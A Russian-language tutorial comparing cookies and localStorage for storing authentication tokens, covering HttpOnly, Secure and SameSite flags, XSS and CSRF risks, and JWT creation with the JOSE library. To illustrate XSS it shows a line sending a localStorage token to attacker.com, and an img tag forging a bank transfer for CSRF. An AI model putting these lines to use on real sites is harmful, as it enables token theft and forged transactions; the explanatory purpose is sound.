Куки и localStorage решают задачу хранения токенов принципиально разными способами, и выбор между ними напрямую влияет на уровень безопасности приложения, устойчивость к атакам и архитектуру авторизации.
Куки передаются браузером автоматически при каждом запросе к домену, если соблюдены условия домена, пути и срока жизни. Это делает их естественным механизмом для хранения сессионных данных и токенов доступа.
С точки зрения работы с токенами важны несколько характеристик:
HttpOnly,
Secure, SameSiteExpires и
Max-AgeПри использовании куки сервер может полностью управлять жизненным циклом токена. Например, после аутентификации сервер устанавливает cookie:
Set-Cookie: access_token=eyJhbGciOi...; HttpOnly; Secure; SameSite=Strict
Такой подход делает токен недоступным для JavaScript-кода, если
установлен флаг HttpOnly, что существенно снижает риск
кражи через XSS.
Особенно важно понимать роль SameSite:
Strict — куки не отправляются при переходах с внешних
сайтовLax — частично разрешает отправку при безопасных
навигацияхNone — требует Secure и отправляет куки
всегдаПри проектировании авторизации через куки ключевым становится баланс между удобством и защитой от CSRF-атак.
localStorage предоставляет синхронное хранилище в браузере, доступное через Jav * aScript:
localStorage.setItem("access_token", token);
const token = localStorage.getItem("access_token");
Главное отличие от cookies — отсутствие автоматической отправки на сервер. Токен нужно вручную добавлять в заголовки запросов:
fetch("/api/data", {
headers: {
Authorization: `Bearer ${token}`
}
});
localStorage имеет несколько важных свойств:
Именно последнее свойство делает localStorage уязвимым при наличии XSS-уязвимости. Любой внедрённый скрипт может прочитать токен и отправить его злоумышленнику.
При выборе механизма хранения токенов ключевую роль играют два класса атак.
XSS позволяет внедрить JavaScript-код в страницу. Если токен хранится в localStorage, то он становится доступен напрямую:
fetch("https://attacker.com/steal?token=" + localStorage.getItem("access_token"));
При куках с HttpOnly такой сценарий становится
невозможным, поскольку JavaScript не имеет доступа к значению
cookie.
CSRF использует автоматическую отправку куки браузером. Если токен хранится в cookie, злоумышленник может инициировать запрос с другого сайта:
<img src="https://bank.com/transfer?amount=1000&to=attacker">
Если cookie автоматически прикрепляется, сервер может принять запрос как валидный.
Для защиты применяются:
SameSite ограниченияlocalStorage не подвержен CSRF напрямую, потому что данные не отправляются автоматически, но становится уязвимым к XSS.
Флаги cookie играют центральную роль в архитектуре безопасности:
Запрещает доступ к cookie из JavaScript. Это критически важно для защиты токенов.
Ограничивает передачу только HTTPS-соединениями, исключая утечку через незашифрованный трафик.
Контролирует кросс-доменные запросы и защищает от CSRF.
Комбинация этих флагов часто используется так:
Set-Cookie: refresh_token=...; HttpOnly; Secure; SameSite=Strict
В одностраничных приложениях (SPA) выбор хранилища зависит от архитектуры API.
Часто используется в простых SPA:
Проблема — высокая чувствительность к XSS.
Более безопасный вариант:
Это снижает риск кражи токенов, но требует защиты от CSRF.
В экосистеме JavaScript работа с токенами часто строится вокруг JWT (JSON Web Token). Библиотека JOSE используется для создания, подписи и проверки токенов.
Пример создания JWT на сервере:
import { SignJWT } from "jose";
const token = await new SignJWT({ userId: 123 })
.setProtectedHeader({ alg: "HS256" })
.setExpirationTime("2h")
.sign(secretKey);
Дальше возникает вопрос хранения этого токена на клиенте.
Если токен помещается в localStorage:
localStorage.setItem("access_token", token);
Если используется cookie:
res.setHeader("Set-Cookie", `access_token=${token}; HttpOnly; Secure; SameSite=Lax`);
JOSE не диктует способ хранения, но архитектурно предполагает, что токен может быть либо полностью stateless (JWT), либо использоваться вместе с серверной сессией.
На практике редко используется один токен. Чаще применяется связка:
Типичная схема:
Такой подход минимизирует ущерб при утечке access token и защищает refresh token от JavaScript-доступа.
localStorage:
Cookies:
Выбор механизма хранения влияет не только на безопасность, но и на то, как строится взаимодействие клиента и сервера, как реализуется logout, обновление токенов и контроль сессий.
В приложениях, где используется JOSE и JWT, важно учитывать, что сам формат токена не решает вопрос хранения. Он лишь определяет способ передачи и проверки данных, тогда как безопасность определяется именно местом хранения и политикой доступа браузера.